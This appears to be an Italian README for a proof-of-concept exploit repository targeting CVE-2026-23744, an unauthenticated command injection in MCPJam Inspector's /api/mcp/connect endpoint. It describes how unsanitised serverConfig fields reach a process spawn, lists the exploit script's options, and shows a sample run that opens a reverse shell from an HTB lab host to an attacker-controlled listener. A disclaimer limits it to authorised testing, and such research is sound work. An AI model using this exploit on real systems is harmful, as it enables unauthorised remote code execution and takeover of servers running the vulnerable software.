amao26/cve-2026-23744-pocCVE-2026-23744 è un'iniezione di comandi non autenticata in MCPJam Inspector ≤1.4.2 tramite /api/mcp/connect. Questo POC lo sfrutta inviando un payload JSON appositamente costruito per eseguire comandi arbitrari, consentendo una reverse shell con PTY.
Questa proof-of-concept è fornita esclusivamente per ricerca sulla sicurezza autorizzata, scopi educativi e ambienti di laboratorio controllati (ad es. HTB, CTF o test di penetrazione interni con esplicito consenso scritto). L'uso non autorizzato contro qualsiasi sistema senza permesso è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio; gli utenti sono gli unici responsabili del rispetto di tutte le leggi e normative applicabili.
CVE-2026-23744 è una vulnerabilità di injection di comandi non autenticata in MCPJam Inspector (versione ≤ 1.4.2).
L'endpoint /api/mcp/connect accetta un payload JSON con serverConfig.command e serverConfig.args e li passa direttamente allo spawn di un processo di sistema senza alcuna sanitizzazione. Un attaccante può inviare una richiesta appositamente costruita per eseguire comandi di sistema arbitrari, ottenendo una reverse shell con i privilegi dell'utente del servizio.
Questo repository contiene uno script di exploit completo e funzionante con un listener interattivo automatico opzionale basato su PTY (abilitato per impostazione predefinita).
requests (pip install requests)Importante: fornire solo il nome host o l'IP. Lo script aggiunge automaticamente http:// o https://
python3 exploit.py -t <target> -l <your_ip> [-r <port>] [--ssl] [--check-only]
| Opzione | Descrizione |
|---|---|
-t, --target | Nome host o IP del target (obbligatorio) |
-p, --port | Porta del target (predefinita: 6274) |
-l, --lhost | Il tuo IP per la reverse shell (obbligatorio) |
-r, --lport | Porta del tuo listener (predefinita: 4444) |
--ssl | Usa HTTPS invece di HTTP |
--check-only | Controlla solo la vulnerabilità, non inviare la shell |
Lo script avvia il proprio listener e ti fornisce una shell direttamente nel tuo terminale.
python3 exploit.py -t <example_hostname> -l <your_IP> -r <Listener_Port>
$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!
# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
root.Questo repository è solo per scopi educativi e di test autorizzati. Utilizzalo a tuo rischio.
Autore: amao26
Data: Agosto 2026